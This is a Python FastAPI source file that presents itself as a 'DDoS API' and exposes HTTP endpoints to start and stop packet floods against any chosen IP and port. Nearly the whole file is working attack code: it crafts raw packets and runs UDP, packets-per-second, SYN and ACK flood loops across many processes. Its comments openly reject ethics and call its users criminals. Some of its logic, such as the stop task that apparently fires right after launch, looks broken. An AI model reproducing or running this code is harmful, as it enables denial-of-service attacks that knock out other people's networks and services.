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from fastapi import FastAPI, BackgroundTasks
from fastapi.responses import JSONResponse
import socket
import struct
import random
import os
import asyncio
from typing import Optional
import multiprocessing

app = FastAPI(title="Niansuh DDoS API", description="Fuck ethics, flood everything.")

# Global vars (because why not?)
target = "127.0.0.1"
port = 80
threads = 100
stop_event = multiprocessing.Event()

def checksum(data: bytes) -> int:
    """RFC 1071 checksum (because we need to pretend this is legit)."""
    sum = 0
    for i in range(0, len(data), 2):
        if i + 1 < len(data):
            sum += (data[i] << 8) + data[i + 1]
        else:
            sum += data[i] << 8
    sum = (sum >> 16) + (sum & 0xFFFF)
    sum += sum >> 16
    return ~sum & 0xFFFF

def pseudo_header(src_ip: str, dst_ip: str, proto: int, length: int) -> bytes:
    """Pseudo-header for TCP/UDP checksum (because raw sockets need love)."""
    src = socket.inet_aton(src_ip)
    dst = socket.inet_aton(dst_ip)
    return struct.pack(
        "!4s4sBBH",
        src,
        dst,
        0,  # Reserved
        proto,
        length,
    )

def build_udp_packet(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:
    """Build a raw UDP packet (because UDP is fire-and-forget)."""
    # IP Header
    ip_header = struct.pack(
        "!BBHHHBBH4s4s",
        0x45,  # Version/IHL
        0x00,  # ToS
        20 + 8 + len(payload),  # Total Length
        random.randint(0, 65535),  # ID
        0x0000,  # Flags/Frag Offset
        64,  # TTL
        17,  # Protocol (UDP)
        0,  # Checksum (filled later)
        socket.inet_aton(src_ip),
        socket.inet_aton(dst_ip),
    )
    ip_checksum = checksum(ip_header)
    ip_header = ip_header[:10] + struct.pack("!H", ip_checksum) + ip_header[12:]

    # UDP Header
    udp_header = struct.pack(
        "!HHHH",
        src_port,
        dst_port,
        8 + len(payload),  # UDP Length
        0,  # Checksum (filled later)
    )
    udp_checksum = checksum(pseudo_header(src_ip, dst_ip, 17, 8 + len(payload)) + udp_header + payload)
    udp_header = udp_header[:6] + struct.pack("!H", udp_checksum) + udp_header[8:]

    return ip_header + udp_header + payload

def build_tcp_packet(
    src_ip: str,
    dst_ip: str,
    src_port: int,
    dst_port: int,
    seq: int,
    ack: int,
    flags: int,
) -> bytes:
    """Build a raw TCP packet (because SYN floods are fun)."""
    # IP Header
    ip_header = struct.pack(
        "!BBHHHBBH4s4s",
        0x45,  # Version/IHL
        0x00,  # ToS
        20 + 20,  # Total Length (IP + TCP)
        random.randint(0, 65535),  # ID
        0x0000,  # Flags/Frag Offset
        64,  # TTL
        6,  # Protocol (TCP)
        0,  # Checksum (filled later)
        socket.inet_aton(src_ip),
        socket.inet_aton(dst_ip),
    )
    ip_checksum = checksum(ip_header)
    ip_header = ip_header[:10] + struct.pack("!H", ip_checksum) + ip_header[12:]

    # TCP Header
    tcp_header = struct.pack(
        "!HHLLBBHHH",
        src_port,
        dst_port,
        seq,
        ack,
        (5 << 4),  # Data Offset
        flags,
        0xFFFF,  # Window Size
        0,  # Checksum (filled later)
        0,  # Urgent Pointer
    )
    tcp_checksum = checksum(
        pseudo_header(src_ip, dst_ip, 6, 20) + tcp_header
    )
    tcp_header = tcp_header[:16] + struct.pack("!H", tcp_checksum) + tcp_header[18:]

    return ip_header + tcp_header

def get_local_ip(dst_ip: str) -> str:
    """Get local IP for routing (because we need to spoof properly)."""
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        s.connect((dst_ip, 53))  # DNS port (because why not)
        local_ip = s.getsockname()[0]
        s.close()
        return local_ip
    except:
        return "0.0.0.0"

def udp_flood(dst_ip: str, dst_port: int):
    """UDP flood (because why not drown the target?)."""
    local_ip = get_local_ip(dst_ip)
    if local_ip == "0.0.0.0":
        return

    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
    payload = os.urandom(1200)  # Random payload (because noise is good)

    while not stop_event.is_set():
        src_port = random.randint(1024, 65535)
        packet = build_udp_packet(local_ip, dst_ip, src_port, dst_port, payload)
        sock.sendto(packet, (dst_ip, 0))  # Port 0 because raw socket

def udp_pps_flood(dst_ip: str, dst_port: int):
    """UDP PPS flood (because packets per second matter)."""
    local_ip = get_local_ip(dst_ip)
    if local_ip == "0.0.0.0":
        return

    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)

    while not stop_event.is_set():
        src_port = random.randint(1024, 65535)
        packet = build_udp_packet(local_ip, dst_ip, src_port, dst_port, b"")
        sock.sendto(packet, (dst_ip, 0))

def syn_flood(dst_ip: str, dst_port: int):
    """SYN flood (because half-open connections are annoying)."""
    local_ip = get_local_ip(dst_ip)
    if local_ip == "0.0.0.0":
        return

    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)

    while not stop_event.is_set():
        src_port = random.randint(1024, 65535)
        seq = random.randint(0, 0xFFFFFFFF)
        packet = build_tcp_packet(local_ip, dst_ip, src_port, dst_port, seq, 0, 0x02)  # SYN flag
        sock.sendto(packet, (dst_ip, 0))

def ack_flood(dst_ip: str, dst_port: int):
    """ACK flood (because why not confuse the target?)."""
    local_ip = get_local_ip(dst_ip)
    if local_ip == "0.0.0.0":
        return

    sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)

    while not stop_event.is_set():
        src_port = random.randint(1024, 65535)
        seq = random.randint(0, 0xFFFFFFFF)
        ack = random.randint(0, 0xFFFFFFFF)
        packet = build_tcp_packet(local_ip, dst_ip, src_port, dst_port, seq, ack, 0x10)  # ACK flag
        sock.sendto(packet, (dst_ip, 0))

def start_flood(flood_type: str, dst_ip: str, dst_port: int, num_threads: int):
    """Start the flood in background (because async is cool)."""
    stop_event.clear()
    processes = []
    for _ in range(num_threads):
        if flood_type == "udp":
            p = multiprocessing.Process(target=udp_flood, args=(dst_ip, dst_port))
        elif flood_type == "udp-pps":
            p = multiprocessing.Process(target=udp_pps_flood, args=(dst_ip, dst_port))
        elif flood_type == "syn":
            p = multiprocessing.Process(target=syn_flood, args=(dst_ip, dst_port))
        elif flood_type == "ack":
            p = multiprocessing.Process(target=ack_flood, args=(dst_ip, dst_port))
        else:
            return
        p.start()
        processes.append(p)
    return processes

@app.post("/attack")
async def attack(
    background_tasks: BackgroundTasks,
    flood_type: str = "udp",
    target: str = "127.0.0.1",
    port: int = 80,
    threads: int = 100,
):
    """Endpoint to start the attack (because why not expose it to the world?)."""
    global stop_event
    processes = start_flood(flood_type, target, port, threads)

    def stop_attack():
        stop_event.set()
        for p in processes:
            p.terminate()

    background_tasks.add_task(stop_attack)
    return JSONResponse(
        content={
            "status": "attack started",
            "type": flood_type,
            "target": f"{target}:{port}",
            "threads": threads,
        }
    )

@app.post("/stop")
async def stop():
    """Endpoint to stop the attack (because even criminals need a kill switch)."""
    stop_event.set()
    return JSONResponse(content={"status": "attack stopped"})